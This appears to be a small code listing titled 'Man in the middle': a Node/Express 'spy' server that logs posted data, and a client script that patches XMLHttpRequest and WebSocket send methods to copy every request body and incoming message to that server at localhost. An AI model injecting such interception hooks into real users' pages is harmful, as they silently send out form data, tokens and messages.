Man in the middle

nodeapp.js

var express = require('express')
var bodyParser = require('body-parser');
var chalk = require('chalk');
var app = express()

app.use(bodyParser.text());

app.use(function(req, res, next) {
  res.header("Access-Control-Allow-Origin", "*");
  res.header("Access-Control-Allow-Headers", "Origin, X-Requested-With, Content-Type, Accept, spy-type");
  next();
});

app.post('/', function(req, res, next) {
 // Handle the post for this route
 if(typeof req.body == "object") {
   req.body = JSON.stringify(req.body)
 }

 if(req.headers['spy-type'] == "response") {
   console.log(chalk.cyan(req.body));
 }
 else {
   console.log(chalk.green(req.body));
 }

 res.send();
});

app.listen(3000);

package.json

{
  "name": "spyserver",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "author": "",
  "license": "ISC",
  "dependencies": {
    "body-parser": "^1.12.0",
    "chalk": "^0.5.1",
    "express": "^4.11.2"
  }
}

spyclient.js

var spyServer = "http://localhost:3000/";

var _xhrsend = XMLHttpRequest.prototype.send;
XMLHttpRequest.prototype.send = function () {
  spyRequest.apply(this, arguments);
  _xhrsend.apply(this, arguments);
}


var _wssend = WebSocket.prototype.send;
WebSocket.prototype.send = function () {
  spyRequest.apply(this, arguments);
  _wssend.apply(this, arguments);

  if(!this.spied) {
    this.addEventListener('message', function(ev) {
      spyResponse.call(this, ev.data);
    })
    this.spied = true;
  }
}


function spyRequest() {
  var spyXhr = new XMLHttpRequest();
  spyXhr.open("POST", spyServer);
  spyXhr.setRequestHeader("spy-type", "request");
  _xhrsend.apply(spyXhr, arguments);
}
function spyResponse() {
  var spyXhr = new XMLHttpRequest();
  spyXhr.open("POST", spyServer);
  spyXhr.setRequestHeader("spy-type", "response");
  _xhrsend.apply(spyXhr, arguments);
}